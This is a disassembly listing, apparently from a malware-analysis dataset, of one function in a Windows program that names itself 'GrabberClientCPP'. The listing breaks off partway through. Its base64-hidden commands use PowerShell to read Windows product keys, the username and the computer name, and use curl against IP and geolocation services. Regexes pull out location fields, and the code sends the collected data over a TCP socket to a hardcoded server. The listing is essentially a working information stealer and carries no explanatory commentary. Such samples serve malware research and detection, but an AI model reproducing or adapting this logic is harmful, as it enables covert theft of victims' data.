Function at 0x1400015eb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb58
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x44f]
mov qword [rbp + 0xab8], rax
nop
nop
lea rdx, [rbp + 0x44f]
lea rax, [rbp + 0x420]
mov r8, rdx
lea rdx, [0x1400fa240]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x44f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
mov dword [rbp + 0xacc], 0x1bb
lea rax, [rbp + 0x450]
lea rdx, str.SURFTlQ9R3JhYmJlckNsaWVudENQUC15ZDBjKX1EKmIjcjl7N2RoYmo9ZEBOeTRUM0tWejBUI1NHenlK
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x400]
mov rax, qword [rbp + 0x450]
mov rdx, qword [rbp + 0x458]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x480]
lea rdx, str.cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgKEdldC1JdGVtUHJvcGVydHkgLVBhdGggJ0hLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE5UXEN1cnJlbnRWZXJzaW9uXFNvZnR3YXJlUHJvdGVjdGlvblBsYXRmb3JtJyAtTmFtZSAnQmFja3VwUHJvZHVjdEtleURlZmF1bHQnKS5CYWNrdXBQcm9kdWN0S2V5RGVmYXVsdA
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x460]
mov rax, qword [rbp + 0x480]
mov rdx, qword [rbp + 0x488]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x3e0]
lea rdx, [rbp + 0x460]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4b0]
lea rdx, str.cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgKEdldC1XbWlPYmplY3QgLXF1ZXJ5ICdzZWxlY3QgKiBmcm9tIFNvZnR3YXJlTGljZW5zaW5nU2VydmljZScpLk9BM3hPcmlnaW5hbFByb2R1Y3RLZXk
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x490]
mov rax, qword [rbp + 0x4b0]
mov rdx, qword [rbp + 0x4b8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x490]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4e0]
lea rdx, str.Y3VybCAtcyBpcGluZm8uaW8vaXA
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x4c0]
mov rax, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4e8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x3a0]
lea rdx, [rbp + 0x4c0]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x4c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x510]
lea rdx, str.Y3VybCAtcyBpZmNvbmZpZy5tZQ
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x4f0]
mov rax, qword [rbp + 0x510]
mov rdx, qword [rbp + 0x518]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x380]
lea rdx, [rbp + 0x4f0]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x540]
lea rdx, str.Y3VybCAtcyAtQSAnTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjozMC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMwLjAnIGh0dHBzOi8vbXlsb2NhdGlvbi5vcmcv
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x520]
mov rax, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x520]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x520]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x570]
lea rdx, str.cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgJGVudjp2YXJfOQ
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x550]
mov rax, qword [rbp + 0x570]
mov rdx, qword [rbp + 0x578]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x550]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5a0]
lea rdx, str.cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgJGVudjpjb21wdXRlcm5hbWU
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x580]
mov rax, qword [rbp + 0x5a0]
mov rdx, qword [rbp + 0x5a8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x580]
mov rcx, rax
call dbg.func_1(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x580]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001959
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.pop_back__
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
xor eax, 1
test al, al
je 0x1400019a2
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.back__
movzx eax, byte [rax]
cmp al, 0xa
je 0x14000199b
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.back__
movzx eax, byte [rax]
cmp al, 0xd
jne 0x1400019a2
mov eax, 1
jmp 0x1400019a7
mov eax, 0
test al, al
jne 0x14000194a
jmp 0x1400019bc
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.pop_back__
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
xor eax, 1
test al, al
je 0x140001a05
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.back__
movzx eax, byte [rax]
cmp al, 0xa
je 0x1400019fe
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.back__
movzx eax, byte [rax]
cmp al, 0xd
jne 0x140001a05
mov eax, 1
jmp 0x140001a0a
mov eax, 0
test al, al
jne 0x1400019ad
lea rax, [rbp + 0x5d0]
lea rdx, str.PHRkPkxhdGl0dWRlPC90ZD5ccyo8dGQKC4qPyk8L3RkPg
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x5d0]
mov rdx, qword [rbp + 0x5d8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x300]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x600]
lea rdx, str.PHRkPkxvbmdpdHVkZTwvdGQXHMqPHRkPiguKj8pPC90ZD4
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x600]
mov rdx, qword [rbp + 0x608]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x2e0]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x5e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x630]
lea rdx, str.PHRkPkNvdW50cnk8L3RkPlxzKjx0ZD4oLio_KTwvdGQ
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x610]
mov rax, qword [rbp + 0x630]
mov rdx, qword [rbp + 0x638]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x2c0]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x660]
lea rdx, str.PHRkPlJlZ2lvbjwvdGQXHMqPHRkPiguKj8pPC90ZD4
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x640]
mov rax, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x668]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x640]
lea rax, [rbp + 0x2a0]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x690]
lea rdx, str.PHRkPkNpdHk8L3RkPlxzKjx0ZD4oLio_KTwvdGQ
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x670]
mov rax, qword [rbp + 0x690]
mov rdx, qword [rbp + 0x698]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x670]
lea rax, [rbp + 0x280]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x670]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x6c0]
lea rdx, str.PHRkPk9yZ2FuaXphdGlvbjwvdGQXHMqPHRkPiguKj8pPC90ZD4
mov rcx, rax
call dbg.std::basic_string_view<char, std::char_traits<char> >::basic_string_view(char const*)
lea rcx, [rbp + 0x6a0]
mov rax, qword [rbp + 0x6c0]
mov rdx, qword [rbp + 0x6c8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.base64::from_base64[abi:cxx11](std::basic_string_view<char, std::char_traits<char> >)
lea rdx, [rbp + 0x6a0]
lea rax, [rbp + 0x260]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rax, [rbp + 0x6a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400c1170
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400bbab0
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400bbab0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400bbab0
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400bbab0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400bbab0
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400bbab0
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140001d39
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140001d39
mov eax, 1
jmp 0x140001d3e
mov eax, 0
test al, al
je 0x140001d83
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x220]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x6d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [rbp + 0x2e0]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140001dc9
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140001dc9
mov eax, 1
jmp 0x140001dce
mov eax, 0
test al, al
je 0x140001e13
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rdx, [rbp + 0x6f0]
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x6f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140001e59
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140001e59
mov eax, 1
jmp 0x140001e5e
mov eax, 0
test al, al
je 0x140001ea3
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rdx, [rbp + 0x710]
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x710]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140001ee9
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140001ee9
mov eax, 1
jmp 0x140001eee
mov eax, 0
test al, al
je 0x140001f33
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rdx, [rbp + 0x730]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x730]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [rbp + 0x280]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140001f79
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140001f79
mov eax, 1
jmp 0x140001f7e
mov eax, 0
test al, al
je 0x140001fc3
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rdx, [rbp + 0x750]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x360]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcESaINSt7__cxx119sub_matchIN9__gnu_cxx17__normal_iteratorIPKcNS3_12basic_stringIcS1_S2
test al, al
je 0x140002009
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400346d0
cmp rax, 1
jbe 0x140002009
mov eax, 1
jmp 0x14000200e
mov eax, 0
test al, al
je 0x14000207f
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x240]
mov r8d, 1
mov rcx, rax
call fcn.140034690
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x1400fa6b5]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rdx, [rbp + 0x770]
lea rax, [rbp + 0x180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x770]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x790]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x33
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp - 0x20]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x1400020eb
lea rax, str.An_error_occurred_when_starting_WSA.
mov rdx, rax
mov rax, qword [0x1401012f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov esi, 1
mov ebx, 0
jmp 0x1400027d7
mov qword [rbp + 0xac0], 0xffffffffffffffff
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0xac0], rax
cmp qword [rbp + 0xac0], 0xffffffffffffffff
jne 0x140002163
lea rax, str.An_error_occurred_when_creating_client_socket.
mov rdx, rax
mov rax, qword [0x1401012f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov esi, 1
mov ebx, 0
jmp 0x1400027d7
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov word [rbp - 0x30], 2
lea rax, [rbp + 0x420]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp + 0xacc]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x2e], ax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0xac0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x14000222c
lea rax, str.An_error_occurred_when_connecting_to_server_socket.
mov rdx, rax
mov rax, qword [0x1401012f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0xac0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov esi, 1
mov ebx, 0
jmp 0x1400027d7
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0x400]
lea r8, str.Username:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xa70]
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0xa90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, str._Computer:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0xa30]
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0xa50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, str._RegKey:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x9f0]
lea rcx, [rbp + 0x3e0]
lea rdx, [rbp + 0xa10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, str._OEMKey:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x9b0]
lea rcx, [rbp + 0x3c0]
lea rdx, [rbp + 0x9d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, str._IPv4:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x970]
lea rcx, [rbp + 0x3a0]
lea rdx, [rbp + 0x990]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, str._IPv6:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x930]
lea rcx, [rbp + 0x380]
lea rdx, [rbp + 0x950]
mov r8, rcx
mov rcx, rax
